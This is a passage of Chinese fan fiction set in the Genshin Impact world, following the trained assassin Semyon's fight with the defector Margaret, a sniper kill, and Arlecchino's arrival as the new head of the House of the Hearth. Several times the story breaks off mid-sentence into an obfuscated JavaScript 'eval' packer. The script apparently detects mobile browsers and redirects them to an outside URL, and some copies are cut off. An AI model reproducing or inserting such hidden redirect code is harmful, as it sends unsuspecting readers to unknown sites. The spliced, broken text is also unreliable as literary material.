但当他根据文书上提供的信息找到位于至冬北部雪山下的小村庄时,这个雏菊般美丽的女人已经被寒风和冰水磋磨得粗糙而疲惫:无力打理的乱蓬蓬金发,垂下的眼袋,红肿如萝卜般的手指,还有弯曲佝偻着的腰。 谢苗看见她的时候,她正蹲在刺骨的冰河边搓洗血淋淋的动物毛皮。 情报上现实这位名为“玛格丽特”的枫丹裔愚人众女人生性狡诈,最善用谎言欺瞒男性目标。结果她也被一个男人用花言巧语哄骗,心甘情愿叛逃军队来到了这个偏僻的村庄,一呆就是十三年。 村庄很小,地理位置偏僻。所以一旦有陌生人来到这里,不出半小时消息就能从村头传到村尾。谢苗的任务时限只有三天,光是找到这就用去了两个白日,他完全放弃了隐匿潜入的想法,大喇喇的站在了玛格丽特面前。 玛格丽特是个聪明的女人,哪怕资料上显示她为爱受苦受难也改变不了这个女人的本质。 聪明的头脑从不是摆设,从看到陌生男孩的时候起,玛格丽特就知道他是为杀她而来。 “还不动手吗?愚人众培养出来的杀手不会想听我讲故事吧?” 她等了半天也没有等到生命终结,似乎认命的搓洗手上的毛皮。 “应该是你想和我聊聊才对。”谢苗裹着厚实的大衣,把半张脸藏进围巾里,手上还提着箱子,手指红彤彤的。 玛格丽特如果什么都不想说,要么自己选择死亡,要么继续隐名埋名活下去。而不是叛逃多年最后突然透出消息告知曾经的同僚:自己在这里。 “废话真多,壁炉之家就是这样教导后生的?”她站起身来,腰因为长时间的劳作咯吱咯吱的表达抗议,忍不住反手重重锤了几下,“现在不杀我,还指望着我迎你进屋烧柴喝热水。” 谢苗定定的看了她好一会,突然开口:“你是也实验体,对吧?” “小孩就是这样,没头没脑的。”她嫌弃道。 “[活体兵械]的成功受体对于一切对神经有麻痹致幻效果的药剂毒物都有免疫性,伤口的自我愈合能力堪称恐怖。”谢苗目光平静,毫无波澜,“最关键的是,每个活着走出实验室的受体都能和一种炼金术造物达成[共鸣],加以驱使。” “从我被你察觉到的那刻开始,空气中就播散了愚人众出品的致幻毒粉。因为我并不打算对你使用常见武器,不符合上官隐匿行事的要求。你处于下风向,但毫无反应。” “你的确有常年苦役 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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气氛一瞬间凝滞。 “……是吗?”谢苗身侧的手提箱应声落地,内部暗扣自己打开,蹦出五把精致的燧发枪,枪口从不同角度对准了身边玛格丽特的头颅,“接下来的问答环节,请你如实相告,女士。” “这是威胁吗?小可爱。” “你配合的话就不是。” “开个玩笑啦。”她又露出灿烂的笑容,“这臭脾气和卓娅一个样,不愧是亲母子。” 为什么都能看出他是卓娅上尉的孩子?仅仅只是一双蓝紫色的眼睛,就能凭此回忆起早已死去多时的人吗? “你看上去有很多问题,但姨妈不能为你解答了。”玛格丽特轻轻笑起来,脸上的法令纹像是母狮的泪沟,迷人而危险。她抬手摸到自己的后颈处,抽出来了一条和谢苗燧发枪同色的,银白的金属长鞭。曾是她“脊骨”的长鞭。 垂到雪地的长鞭在主人手腕的抖动下如银蛇一般蜿蜒。 长鞭将那些腾空的燧发枪卷住,勒令它们俯首。母狮一般强壮的女人说:“小鬼,在取走姨妈送给你的礼物前,陪我好好玩一场。” “向我证明,你有资格活下来。” 15. 一对一名师授课 “向我证明,你有资格活下来。” 一瞬间谢苗幻视是库嘉维娜站在他面前——明明活着是不需要理由的,但她们都坚信活下来需要某种资格。 实力、心性、运气,缺一不可。 天哪,至冬培养的女人一个比一个彪悍。她们带孩子简直是在遵守丛林法则,优胜劣汰适者生存。 谢苗一边思考一边手搓新的燧发枪,装填的是普通的军用子弹(他向来常规子弹和炼金子弹各带两匣子)。大衣内衬口袋里的邪眼微微发热,子弹附上一层红到发黑的火元素。砰砰砰三发,将银蛇长鞭击中,本意不是损毁——普通的子弹无法损伤这种材质的武器。火附魔的每一颗子弹卡在长鞭如某种硬甲动物蜷缩起来的节口,迫使它在挣扎后回归最初的形态——待激活的炼金术产物。 依赖武器的人,往往被武器所害。 在至冬这样军事实力强大的国家,愚人众无处不在。玛格丽特这么多年不一定苦哈哈的生活在这里,但隐名埋名一定让她无法长时间频繁使用愚人众出品的武器,否则那些人就会像闻到肉味的鬣狗一样紧追不舍。她最引以为傲的手段在穷乡僻壤无处发挥,甚至可能引起愚人众的瞥视。十三年过去,她和这个老伙计的搭档默契还剩多少? 玛格丽特笑起来,于是长鞭成为两把剑,一剑削去半支枪管,真正意义上的削铁如泥。 “不要轻敌,这世上不存在百分之百必胜的对局。尊贵如神明也有失败的时刻,何况你我普通人呢?” 谢苗对于神明的了解很少,他只知道冰神是至冬的最高领导者,也是一位仁慈的,但不会爱人的神明。女皇陛下应该有着崇高伟岸的理想,于是全体愚人众为尊贵的神明能够追逐理想达成目标不惜一切代价和手段。 神明也会失败?当然,神也不是万能的。谢苗从来不认为神就是无坚不摧无所不能的存在。何况渺小的人类。 “不要分心。”母狮一般拥有庞大力量的女人挥刀向颈,迎面而来的刀光叫谢苗紧急后撤,子弹趁女人挥刀无暇防备时向下发射,瞄准了她的膝盖。同时那些腾空的五把燧发枪也重新塑合,枪口再次对准女人的头颅,砰砰砰数管其下。 可惜玛格丽特的刀法相当刁钻,总能轻易找到燧发枪布阵的视野盲区然后挥刀斩断。重塑总是需要时间的,失去部分输出能力的谢苗本人当然不及经历冰寒千锤百炼几十年的战士。 而当谢苗找到克制她刀法做出改变的时候,玛格丽特又重塑了武器,将归属于长柄武器的长枪横握于手。 “……” 他就算进步得再快也无法做到老练猎手那样的轻松惬意。谢苗一时间有些苦手,继续加强火力压制固然可以碾碎善用冷兵器的玛格丽特,但那样会引来不必要的注视以及后续灭口工作加大难度。 玛格丽特没有错过他的犹豫,轻笑着贴近:“太死板了,哪怕用着邪眼的力量,你还是没有从固有的思维中跳出来啊。” “邪眼为子弹附魔,也让你沾染了火焰的色彩。看看你现在的模样,像是一块从壁炉中抽出的,燃烧着火焰的干柴。发尾是枯焦的流灰,双眼是明亮的焰火……哈哈哈哈,驱使火的人,终将被火吞噬殆尽。” 她笑起来,后续吐露的话语却是蛇信般的阴森。 谢苗那张逐渐趋向死人脸的面上终于有了一丝细微的表情,眉尾一挑:“那不是很好吗。干干净净的来,干干净净的走。” “你知道什么?你怎么敢这样说?”玛格丽特一把攥住他的衣领逼近,“你以为邪眼是个什么好东西?你以为红到发黑的烈焰是能洗涤污秽的圣火吗?” 谢苗平静的注视着被激怒的女人。 他太冷静了,蓝紫色的眼睛就像是春日密林深处的湖泊,风掠过水面,波澜不惊。情绪是会传染的,玛格丽特那双翠色眼睛里的火苗很快平息:“……你知道什么,你什么都不知道。你只是库嘉维娜豢养的小鸟,壁炉之家忠心耿耿的猎犬。” 她松开手,谢苗终于能整理衣衫好好呼吸。 这似乎是停战的信号,银蛇重新贴上脊背,燧发枪又钻回手提箱自己扣上暗扣。所有子弹全部回收,北地肆意的风雪迟早将一切痕迹掩埋。 “壁炉之家把你养得不错,能抗能打。想来多活十几年不是问题。那姨妈也该送你个礼物。”玛格丽特又亲昵的凑过来,想要搭上谢苗的肩。可惜他对这种接触姿势ptsd,手还没搭上肩,浑身汗毛倒竖,眨个眼的功夫就闪到一旁,浑身上下写满了拒绝。 停止使用邪眼五分钟后,他明显感受到了身体的虚弱,颇有些力不从心,甚至无法集中注意力。发尾被火焰灼烧一般的流灰色褪去,柔软的铂金短发蓬蓬松松,所有的攻击性都收敛起来,看上去要乖巧不少。 以后再也不接这种情报有误信息不明的任务了,明摆着坑人。指不定从至冬哪个犄角旮旯冒出来个卓娅女士的故交亲朋好友,看上去神戳戳的…… 是的,谢苗对玛格丽特的印象用三个字来概括就是神戳戳,四个字神经兮兮。 “不用礼物,我要完成任务。”他把脸蛋埋进围巾,声音闷闷的。 女人挑眉:“这么想要我的命?” 谢苗:“你有办法不死也能让我完成任务,就请快些做,女士。” 继续打下去实在是不明智,他甚至用上了邪眼,依旧无法稳赢玛格丽特。对方可还没有暴露全部的底牌。逞强的话,说不定他的死期就是今日。 “小鬼就是没耐心。”她蹲下来就着冰凉的河水洗手,把那块浸水的皮子使劲摔打两下扭干净,然后抻开,“既然你不要礼物,那就下次再见的时候送你。” 她去附近农舍后的草垛柴堆里拖出了一具女尸,面部被破坏得不成样子。她又示意谢苗对着尸体补一发子弹。 谢苗没有动:“你从哪弄来的尸体?” 女人笑:“小孩子不要多问。打完一颗子弹你就滚回至冬城去,看在卓娅的面子上,今天我不杀你。” 任务失败了,还不知道回去后会不会暴露……但技不如人没什么好说的,谢苗认栽。提上箱子转身就走,一点留念也没有。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679246|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >十二三岁的少年已经有南地成年女人一般高了,被好吃好喝的养大,不缺营养又勤加锻炼,几乎是隔一段时间就窜个。想来再过几年,就能长成至冬的好儿郎了。 玛格丽特注视着少年踩着积雪离去的背影,眼中的笑意完全消散。 她是故意放出消息勾得愚人众追杀她的,因为她要检验一条消息的真伪。 几年前,某个蓝眼睛的小鬼在黑市售卖毒药经营情报网的时候,遇到了到处流窜补给的她。由于彼此都对交易十分满意,他们建立起了友好的互惠关系。直到蓝眼睛小鬼在大半年前跟她打听多托雷实验的时候,顺藤摸瓜提到了[兵械]这个词汇,叫她瞬间升起警惕心。 经过许久的试探和信息交换,她才得知有个蓝紫色眼睛的孩子疑似成为新的[活体兵械]受体——那个十几年前就因为一代受体尽数失控而停止的实验再次重启。得知消息后的玛格丽特被愤怒灼烧着五脏六腑,故人音容宛在,无人得到当初许诺的新世界荣光。曾答应他们不会继续的实验为什么又重启了? 多方打听,她引起了愚人众内部情报人员的注意,干脆把自己还活着的消息放出去,又在这偏远村庄不修边幅的待了大半个月,终于等来了那个蓝紫色眼睛的二代受体。 十三年过去,[活体兵械]实验只有少数人知情。但如果真的出现了二代受体,还在稳定接取任务,那么高层一定有人在试探二代的潜力上限。玛格丽特这样登记在册的叛逃一代受体有九成概率被用来当做二代的磨刀石。 玛格丽特见到了那个孩子,他的实力并不弱小,反而有着远超同龄人,甚至是当年一代受体的优秀。可惜束手束脚怕不好收尾,不肯赌命,所以才占不到便宜。 我应该杀死他的,我应该在他意志崩溃前给予他真正的安宁。但是他和卓娅太像了,光是站在那里就能让她瞬间回忆起多年前的时光。作为愚人众优秀士兵的,满心欢喜而骄傲的接受这项利国利民改造实验的她们,她和卓娅,还有那样多的女孩…… 他们都心软了一瞬,所以谁都没有死。 玛格丽特低头看向自己的手,离开冰水久了,红肿自然而然的消失。合格实验体的躯体自我愈合能力远超常人,外部刺激和内部破损都能修复。利器划出的伤口,感染的伤口,经过锻炼拉伸又撕裂的肌肉组织,碰撞产生的淤青……都会在新的太阳升起后愈合如初,干干净净不留痕迹。 所以他们的手上是没有茧的,躯体上覆盖的肌肉也不明显,撑死了也只能看出是一层薄肌。稍微倒腾一下,画个妆,四五十岁了看上去还像二十出头的小年轻一样。 对于人类来说,这是相当完美的躯体,对吧?真不亏出自天才学者【博士】之手,在人类的范围内竭尽所能的达成“完美”。 躯体过于强悍,那么灵魂就要来支付代价。 千疮百孔的灵魂蜷缩在强悍躯体的角落,清醒的看着自己一步步滑入疯癫的深渊。 女人又哭又笑,声音震得雪山下树林簌簌的抖落积雪。肆虐的北风呼啸而过,带来潮湿的朽木气息。 16. 月光下跳舞的心脏 离开偏僻的村庄,在夜幕降临时谢苗终于走到了列车站台,在售票处购买了回至冬城的车票,提着手提箱登上了列车。 车上并没有太多人,他在自己的座位上坐下,撩起窗帘一角,看见了外面晦暗的天空,还有远方经年不化的连绵冰雪。 列车鸣笛,轰隆隆的钢铁洪流在轨道上驰骋。有人闭目养神,有人交头低语,乘务员推着小车分发盒饭。 暖黄灯光下,少年将盒饭里的土豆泥和肉汁搅拌在一起,大口吞咽。亏空的身体借胃囊叫嚣着需要更多热量才能修复伤痕,谢苗应它们所愿,吃下了并不可口的食物。温热的土豆泥顺着食道滑进肠胃,供给身体所需,身上火辣辣的鞭印以肉眼可见的速度消失。 五份盒饭下肚,胃里沉甸甸的,谢苗这才在列车倾轧轨道的行驶声音中睡着。 他还是不够强啊。 回到庄园,一眼就看见前院的孩子们嬉笑着做游戏。 都是些新面孔,谢苗并不认识他们,但是不影响热情的孩子们对他遥遥招手,乖乖的喊:“哥哥好~” 是的,这群孩子们坚信家就是兄友弟恭姐妹情深的,他们是彼此的家人。 谢苗僵硬的抬手挥了挥当做回应。 那些红扑扑的笑脸,那些纯真的快乐,那些毫无保留的信任,好像距离红房子里的哥哥姐姐们十分遥远了。 孩子们总是热衷于游戏的,并不需要谢苗这个路过的哥哥有什么回应,他们继续玩闹。咯咯咯的笑声让小树林后的鸽子也忍不住探头探脑。 谢苗低下头去,继续往红房子那边走。 今天是任务发布后的第四日,谢苗走进办公复命的时候,长官正拿着愚人众暗探上交的尸体检测报告细细看。 谢苗本以为玛格丽特那样拙劣的尸体伪造技术会暴露,谁知长官什么也没有说,只是在任务文书上盖了猩红的印章。 【通过】 “做的不错,回去准备今年的考核吧。” “遵命,长官。” 他关上厚重的红漆雕花木门,短靴离开了铺垫地毯的办公室,脆响声由近及远。 等这个小年轻脚步声消失不见,长官才从办公桌下提出来了一只崭新的牛皮手提箱。 打开后,里面赫然是半箱寒光凛冽的炼金术产物。[活体兵械]实验最重要的组成部分。 登记在册叛逃的一代实验受体玛格丽特·雪奈茨芙娜确认死亡,被她带走十三年的[兵械]也该被回收。 长官并不知晓玛格丽特分配到的炼金术造物有多少,但他看见过谢苗的武器,这已经有谢苗武器的二分之一,想来足够交差。于是他上报的情报是:谢苗·雪奈茨维奇任务完成,玛格丽特·雪奈茨芙娜确认死亡。 这笔欠了十三年的烂账,也是时候翻篇了。 谢苗回到寝室,把多余的毒药还给瓦西里:“谢啦。” “你觉得好用吗?”瓦西里放下手里的书本,掸去谢苗身上的灰尘。 谢苗诚实道:“还可以加大剂量。” 着急赶作业的帕维尔头也不抬:“剂量要是再加大一些,恐怕瓶塞没拔掉前都要放倒一大批人了。什么人能抗住啊?” “努努力,说不定瓦西里以后研制出的药剂毒物能够放倒魔神级别的存在呢。”谢苗乐观鼓励。 瓦西里没好气的拍了一下他的肩膀,清冷的蓝眼睛里带着点笑意:“少帮我碰瓷了。吃过早饭吗?我这里还有从食堂打包的两个苹果派。” 谢苗当即抱着苹果派去啃了,也就没有看到在他转身后瓦西里骤然冷下来的眉眼。 帕维尔要赶在库嘉维娜回至冬开启考核检查前把作业写完,昏天黑地的补了几个通宵,写完最后一个单词把笔一甩,跳起来大喊:“解脱啦!瓦西里,陪我去训练场打一场呗?我好松松筋骨。” 正在想事情的瓦西里回过神来,看了一眼正在吃苹果派的谢苗,后者摆摆手:“你们去吧,午餐时间我自己去食堂吃饭。” 年长的哥哥点点头,搓搓身边帕维尔棕色的毛茸茸脑袋,往外走着:“先把热身做好,上次你不热身就开打差点拉伤肌肉……考核期没人会给你热身时间,记得提前做。” “知道了知道了,瓦西里你好啰嗦……” 他们都以为今年的考核期,库嘉维娜会如约而至赶回至冬。可随着日期一天天逼近,属于执行官【仆人】的那辆马车依旧没有停在庄园外。 孩子们忍不住交流着自己渠道弄来的情报。 “枫丹那边的壁炉之家事情还没有忙完吗?” “母亲大人从不迟到,她对时间的把控精准到一种恐怖的程度……” “或许枫丹那边也有一场考核?” “枫丹那边的考核比我们这里要早一个星期,那边怕是早就结束了。” “明天才是正式的考核日,也许明天早上母亲大人就会出现在家里了呢?” “希望如此……” 良好的耳力让谢苗轻而易举听清了同龄人的低语内容,不知怎的,他突然想起大半年前他还在博士实验室接受改造时听到的对话。 【什么时候把你那位宝贝的“王”带来看看?】 【我辛辛苦苦培养出来的“王”,是你想看就能看的?】 【这可说不准……】 谢苗曾听过多托雷和库嘉维娜聊起[选王计划]这个单词,回到壁炉之家后,瓦西里也告诉过他枫丹那边选出了让母亲大人满意的“王”。是从十六岁关键考核期厮杀出来的唯一胜利者,也是库嘉维娜上台后亲手培养出来的猩红之花。 大概在旁人看来,那位“王”会对尽心尽力培育他或者她的库嘉维娜忠心耿耿。作为壁炉之家的孤儿,有什么理由不为温柔慈爱的好母亲库嘉维娜效忠呢? 曾经谢苗也这样认为,包括他自己在内,壁炉之家的孩子几乎都被养成库嘉维娜的忠犬。以恐惧为狗链,以疼痛为项圈,把人训成令行禁止的猎犬。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雪国的神灵向他吹了一口气,从此他的命运也被写进了高天的某颗星星。 雪花纹样的冰元素神之心在半空中肆无忌惮的挥洒力量,那双蓝紫色的眼睛里有什么被一瞬间点燃。 那是神明的注视吗?我也可以被神看见吗? 神明啊神明,请你告诉我,你也认可我们的反抗之心吗? 夜间的风从窗户那钻进来,轻柔的抚摸他的脸颊。 于是他伸手抓住那颗神之眼,刺骨的寒冷伴随心念一动尽数收回。侵蚀了整座红房子的冰霜一如来时那般褪去,唯有地板上的一层水雾才能告知人们曾有寒霜来过。 谢苗坚定的认为这是神明对他想法的认可,他知道那位不知名的前辈一定成功的完成了物理意义上“弑母”的行为。 强权压迫的统治总有一天会被不甘的人们推翻。这是世界轮回往复的真理。 17. 这个冬天不太冷 至冬宫,冰之女皇的居所和全体执行官的议会场地,往常只接纳高官政要,在今天迎来了一位特殊的客人。 一位,弑母的罪人。 “库嘉维娜就是被她杀死的?”戴丧面具遮覆容颜的金发女人松松的揽着执行官大氅,她并不畏惧冰寒,穿外套也只是为了与雪国环境适配,这是女人的穿衣美学,“执行官的含水量真是越来越高了。” “无论如何,库嘉维娜也曾是我们中的一员,不要对你已逝的同僚过于讥讽,【女士】。”愚人众统括官【丑角】脸上看不出什么表情来,当然,或许有他也戴了面具这个原因在。 第八席的【女士】只是抬手理理发髻,优雅的翻了个白眼,到底没有对台阶下方的弑母者多表达些什么。 弑母者,壁炉之家的佩露薇利。那个发色与眼瞳都异于常人的年轻女孩,就是今天统括官和他们都要亲自接见的特殊访客,也是愚人众执行官未来的同僚。 第六席的【散兵】对于这种吸纳新成员的仪式实在是提不起多大的精神。虽然现在她依旧是戴罪之身,是至冬阶下囚,但女皇陛下的意思不难被他们察觉。没办法,【散兵】信服那位神明的指令,只能小有脾气的站在这里当背景板。 至于第一席的【队长】,他只是站在【女士】身边静静注视着下方的年轻女孩,面具下的容颜看不真切,无端增添神秘色彩。 佩露薇利不知道上头的大人们有什么心思,她坦然的承认自己以下犯上弑杀库嘉维娜的罪行,但不会悔改。 我已经见过至冬最美的极光,再无遗憾。 女孩如此想。 但没想到愚人众的统括官【丑角】居然会说:女皇已经赦免她的罪过,并赋予她新的名字。 可怜的、疯狂的、被诅咒的【仆人】——阿蕾奇诺*①。 她抬起眼眸注视着眼前四位同僚,将他们的容貌和情报中的信息一一对应。【丑角】皮耶罗,【队长】卡皮塔诺,【散兵】斯卡拉姆齐,【女士】洛厄法特…… 曾经的佩露薇利,如今的阿蕾奇诺视线瞥到【女士】光洁小腿边出现的一条蓬松的大尾巴,微不可察的挑眉,然后与探出头来的一颗猫猫头对上视线。 那是一只肥硕的,漆黑的长毛大猫。大猫缓缓眨了一下眼睛,眼珠黝黑而深邃。 冬天实在难熬。 谢苗嚼着干干巴巴的面包,吸溜一口碗里有些凉的汤。这种伙食已经持续三天了,就因为他获得神之眼力量外泄让整栋楼的地板失去防渗作用,部分墙体脱落,被生气的庄园管理员——也就是他日常发布任务的上官提溜着去执行愚人众内部高额奖励的任务,赚钱补贴家用。还要克扣一番伙食,连续一周吃忆苦思甜套餐。 勺子搅拌汤水,碾碎碗里的土豆,一开始谢苗还不情不愿的心想明明是当初建房子的时候偷工减料,为什么不把那些人抓回来通通枪毙…… 算了,说到底也确实是他霍霍的。 想明白(说服自己)以后啃面包喝土豆汤也没有那么难熬。就是执行任务的时候难免更加凶残,枪枪爆头,又因为子弹附加了冰元素力量,射入头颅后会瞬间冻凝血液和脑花,任务场地还算干净好收拾。 上官听闻部下的报告后只是面无表情的勾画任务目标名单,然后把酬金通通划分到壁炉之家公账上。 家可以没有执行官掌权,但不能没有金钱运作。 谢苗第四天出任务赶上大雪,吭哧吭哧爬上至冬城一座高楼顶层,从窗户那翻进去,抖抖身上的积雪,搓搓冻得通红的脸蛋,身上终于有了些暖意,这才取出自己的枪,隔着几百米的距离,瞄准线的正中心隔着宽广的中心大街,准确无误锁定对面东北角一扇窗户。 透明玻璃外蒙上了一层冰霜,就算站在窗外也只能看见绰约人影在后面晃动。到了谢苗这个位置,视线更是清晰不到哪里去。 本来今天是想尝试一下纯粹冰元素子弹的狙击效果,哪曾想撞上大雪天,再优秀的猎手也会因为视野受阻无法发挥出全部的实力。 看来只能亲自上阵了。 谢苗吸了吸鼻子,反正任务要求也只是不暴露身份,只要冰做的子弹因为颅内温度过高化作水流逝,尸检人员就无法从凶器这方面下手侦查吧。 脑海中迅速分析出最优潜入路线,只等实施。谁曾想任务目标自己打开了窗户,对着窗外泼掉半杯喝剩下的咖啡——谢苗脑子还没反应过来,身体就已经自己行动,提枪瞄准扣下扳机,子弹离膛。风向、距离、阻力……这些需要狙击手精密计算才能打出理想中的最佳成绩,但在绝无仅有的良机面前,身体已经先理智一步将信任全权托付给直觉。 蓝紫色的眼睛清晰的看见任务目标额头正中心的枪洞、炸开的血、惊愕的瞳孔,还有从手中坠落的咖啡杯。 精美的璃月进口瓷器从三楼坠落,砸在地面四分五裂。深色的咖啡渍和雪白的瓷片映衬——高空抛物不可取啊! 谢苗收枪。看吧,从窗户往外泼茶水就是有危险呀,但凡这目标有点素质都能多活一小时。 有些人就是死于素质低下。 眼瞅着行人的目光因为这杯子坠落的声响被吸引过去,谢苗抓起手提箱就往外翻,壁炉之家教官教出的步伐会让他们行走时留下的痕迹极浅,因此窗台、屋顶的脚印很快就被至冬的大雪覆盖。 这次的目标太配合工作了,因为有他,谢苗提前下班,心情愉悦的走进街边的面包坊买上一大块奶油蛋糕,在无人处大口吞咽,用高油高糖的食物补充身体所需能量。 谢苗的饭量越来越大,有时候在食堂吃饭会被姐姐们说“像一头熊在进食”。往往没等谢苗有什么反应,她们又会安慰他:“能吃也没什么,不浪费就好。”“慢慢嚼,没有人跟你抢。” 其实壁炉之家的孩子们都挺好相处的,只要库嘉维娜不在家里,谢苗活得很滋润。 说起来库嘉维娜死亡的消息已经不胫而走,但是新任壁炉之家掌权人的信息可一点都没有传出来。谢苗往嘴里塞了一大勺奶油,甜腻得嗓子发痒。他很好奇新任掌权人的模样。 回到庄园后先去述职,上官照例点评一下他的任务情况,这次尤其表扬了一番他的冰元素子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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帕维尔啃着禽肉馅饼:“我说瓦西里,你太娇惯谢苗了,看他现在这个样子,就差让你把饭喂他嘴里。” 谢苗应声张大嘴:“啊——” 顺着杆子往上爬不外乎如是。 瓦西里迅速挖了一大勺土豆泥塞弟弟嘴里,又跟帕维尔说:“你需要喂吗?我可以喂你吃饭的。” “你发神经?” “当哥哥的满足一下弟弟的需求有什么不对吗?” “……完了,肯定是前两天出任务让人砸到脑子了。”帕维尔三下五除二把馅饼塞嘴里咽下去,起身就要走,“我去医务室给你拿点药。” “回来!”瓦西里好笑,“逗你一下怎么还当真了,快吃饭。今天会有新的执行官来视察壁炉之家。” 有时候谢苗真的很好奇他这两个哥哥是哪来的情报渠道,尤其是瓦西里,他不定时神秘消失一会,回来后没事人一般,往往能吐露出许多孩子们闻所未闻的消息——任务途中抽空发展的情报线? 至于新的执行官视察……这个谢苗倒是有几分猜测。 帕维尔双手合十祈祷:“只要不是母亲大人那样的就好。” 如果他璃月语造诣精通些,就会用“佛口蛇心”“口蜜腹剑”来形容库嘉维娜。 可惜帕维尔璃月语学得向来一般般,一时半会还真找不出什么简练的概括词。 18. 改朝换代 谢苗吃了整整一周的忆苦思甜套餐在今日迎来终结。 食堂(其实是餐厅,但是谢苗喜欢这么叫)的长桌上堆满了丰盛的食物,各色面包煎饼珑琅满目,甜的会淋上蜂蜜糖浆,咸的多以肉馅填充。大块的兽肉烹制得油脂嘀嗒香气扑鼻,餐包鱼子酱这种小菜不必多说,甜品和鲜果差点让谢苗挑花了眼,以至于冷盘和汤品都被忽略了过去。 壁炉里燃烧着明亮的火焰,木柴烧的劈啪作响,窗外是飘飞的雪花,室内温暖如春,孩子们穿着并不臃肿的新衣乖巧的坐在长桌边等待指令。 谢苗坐在其中并不显眼。谁会知道这么一个看着乖巧温顺的可爱小男孩为了这顿丰盛的大餐,早上特意只吃了个半饱,以至于现在饿得想抓起肘子就生啃。 挂钟上的布谷鸟探出头来,昭示时间来到正午。后门那传来动静,鞋跟踩踏地板,由远及近。生物的本能促使孩子们循着声音来源望去,一时间齐刷刷扭头,看见一位身披执行官大氅的年轻女子大步走来。 她的头发是诡异的黑白双色,发尾像是被火焰灼烧产生的流灰,又像是乌鸦的羽毛。还有那双眼睛,那双带着诡异红痕的黝黑双眼…… 孩子们不自觉的敛眸低眉。 “我是壁炉之家的新任掌权人,【仆人】阿蕾奇诺。你们是家的一份子,也是我的孩子,从今以后,会由我带领你们学习、生活、为女皇陛下效忠,为至冬铲除一切阻碍。”阿蕾奇诺走到最前方然后回头,这时候孩子们才看清她身后其实一直跟着壁炉之家发布任务的上官,只是女人的气势过于强大,压得旁人根本无法分去注意力。 “今天的行程过于紧张,我来得很不巧,正好赶上你们吃饭的时间,因此长篇大论就省去吧。有什么问题要问吗?”阿蕾奇诺面色平淡,不苟言笑的第一印象已经深入人心。 台下有个女生举手,得到阿蕾奇诺颔首示意后才开口询问:“我们要如何称呼您呢?还是【母亲大人】吗?” 她叫蝶安奈拉*①,是红房子里目前年纪最大的女孩,也是所有孩子们的姐姐。 阿蕾奇诺那双奇妙的眼睛里看不出什么情绪来:“……叫我【父亲】。” 壁炉之家不会再有【母亲】。 满眼都是大肘子的谢苗终于转动了他生锈的大脑。父亲?因为她厌恶使用【母亲】这样伟大称呼但做事丧尽天良的库嘉维娜吗? 他悄悄看了一眼对方,新任【仆人】看上去比蝶安奈拉大不了不少,算算年纪,也才十几岁的样子吧? 阿蕾奇诺没有发表长篇大论,回答了几个孩子们比较关心的问题后就让他们开始用餐,说稍后会请他们挨个进办公室了解情况。她来得匆匆去也匆匆,执行官大氅黑色滚边上的雪花都没有化,就又走入白茫茫的一片中去。 【父亲】走之后,安静用餐的孩子们才开始交头接耳。 “【母亲】一定是死了,执行官名号的授予向来以死亡为传承。” “母亲大人那样厉害的身手,谁能杀得了她呢?” “是父亲大人吧……” 敏锐的孩子们察觉到了什么,没有再继续这个危险的话题。对于他们这些在至冬阴影中成长的孩子来说,壁炉之家的掌权人是不是弑母继位其实根本不重要,总归不会比库嘉维娜在任时更难过,不是吗? 不是所有人都有勇气和决心向自己的兄弟姐妹举起利刃,不是所有人都能将情绪收放控制得完美无缺。人类的心是血肉构成的,痛苦就像针扎气球,超过了承受的临界点,只会让其千疮百孔然后“砰”的一声爆炸。 孩子们抓紧了身边人的手,虽然都有着同样的姓氏[雪奈茨维奇][雪奈茨芙娜],但大家并不是真正意义上亲亲热热的兄弟姐妹,大多是都是三两组合抱团取暖,尤其在库嘉维娜举行[选王计划]的十年期间,孩子们惶惶不可终日,做梦都是和最好的朋友刀剑相向。直到一年前残忍的互相厮杀考核终止,大家慢慢恢复从前和气的模样,谢苗和其他同伴的联系才更多了些。 大些的孩子们知道库嘉维娜在枫丹和至冬两地跑,弄她的[选王计划]。也知道在一年前这个计划成功的选出了一位合格的[王],从此终结了壁炉之家残忍血腥的考核。 阿蕾奇诺露面后,这帮从小就被培养成高精端间谍的孩子们发挥自己所长,到处利益交换搜罗情报,终于拼凑出新任【父亲】大人的来历。 她就是那位[王],在枫丹以下犯上弑杀了“温柔慈爱”的【母亲大人】——【公鸡】大人说她有愧库嘉维娜对她的偏爱和教导。 阿蕾奇诺从不掩饰自己弑母的过去,甚至放任小报将这些消息流传。她刚刚拒绝了【博士】的合作邀请,强行压下怒火坐上马车回到庄园。她不喜欢把情绪带回家里影响孩子们。 阿蕾奇诺本以为经过自己的推波助澜,回家后会见到那些畏惧她的面孔,谁知道红房子里大孩子们满脸都是敬佩和孺慕,一声声“父亲大人”叫得真情实感。 谢苗甚至看到莉兰——就是小时候抱着他腿糊他一手口水的那个小妹妹,难为他还记得对方的脸和名字。莉兰的眼睛很大,琥珀美酒一般的色泽,盛满了对阿蕾奇诺的敬仰和尊敬。这孩子后来恐惧憎恶库嘉维娜到了没法跟她共处一室的程度,一直在装病,“幸运”的撑过每一年考核期。 